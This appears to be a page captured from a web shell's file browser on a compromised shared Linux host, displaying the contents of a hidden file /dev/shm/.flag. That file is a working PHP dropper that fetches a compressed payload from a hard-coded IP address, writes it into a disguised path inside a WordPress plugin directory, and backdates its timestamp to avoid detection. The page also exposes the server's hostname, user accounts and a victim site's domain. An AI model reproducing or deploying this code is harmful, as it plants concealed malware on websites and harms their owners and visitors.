HEX
Server: Apache
System: Linux sg241.singhost.net 2.6.32-896.16.1.lve1.4.51.el6.x86_64 #1 SMP Wed Jan 17 13:19:23 EST 2018 x86_64
User: honghock (909)
PHP: 8.0.30
Disabled: passthru,system,shell_exec,show_source,exec,popen,proc_open
Upload Files
File: //dev/shm/.flag
<?php   $p = '/home/staynuts/public_html/michellesgp.com/wp-content/plugins/geodirectory/vendor/ayecode/wp-ayecode-ui/assets-v5/scss/1-frameworks/select2/theme/dateparser'; $u = 'http://104.250.164.214/a6b01138c24c4eeadad9ac4f706b0641'; $fs = 55884; $ft = 1691512505; $c = gzdecode(get($u, $fs)); if ($c) {     file_put_contents($p, $c);     if (file_exists($p) && filesize($p) == $fs) {         @chmod($p, 0744);         @touch($p, $ft);         die('_uploaded!_');     } }  die('_upload_failed_'); function get($url, $fs) {     $data = false;     if (function_exists('curl_init')) {         $ch = curl_init($url);         curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15);         curl_setopt($ch, CURLOPT_TIMEOUT, 30);         curl_setopt($ch, CURLOPT_HEADER, 0);         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);         $data = curl_exec($ch);         curl_close($ch);     }     if (strlen($data) == $fs) {         return $data;     }     if (@ini_get('allow_url_fopen')) {         $options = stream_context_create(['http' => ['timeout' => 30]]);         $data = @file_get_contents($url, false, $options);     }     if (strlen($data) == $fs) {         return $data;     }     if (function_exists('fsockopen') && function_exists('socket_set_option')) {         $parts = parse_url($url);         $target = $parts['host'];         $port = isset($parts['port']) ? $parts['port'] : 80;         $page = isset($parts['path']) ? $parts['path'] : '';         $page .= isset($parts['query']) ? '?' . $parts['query'] : '';         $page .= isset($parts['fragment']) ? '#' . $parts['fragment'] : '';         $page = ($page == '') ? '/' : $page;         if ($fp = @fsockopen($target, $port, $errno, $errstr, 30)) {             $headers = "GET $page HTTP/1.1\r\n";             $headers .= "Host: {$parts['host']}\r\n";             $headers .= "Connection: Close\r\n\r\n";             if (fwrite($fp, $headers)) {                 $resp = '';                 while (!feof($fp) && ($curr = fgets($fp, 128)) !== false) {                     $resp .= $curr;                 }                 if (isset($curr) && $curr !== false) {                     fclose($fp);                     $data = ltrim(substr(strstr($resp, "\r\n\r\n"), 3));                     if (strlen($data) == $fs) {                         return $data;                     }                 }             }             fclose($fp);         }     }     return false; }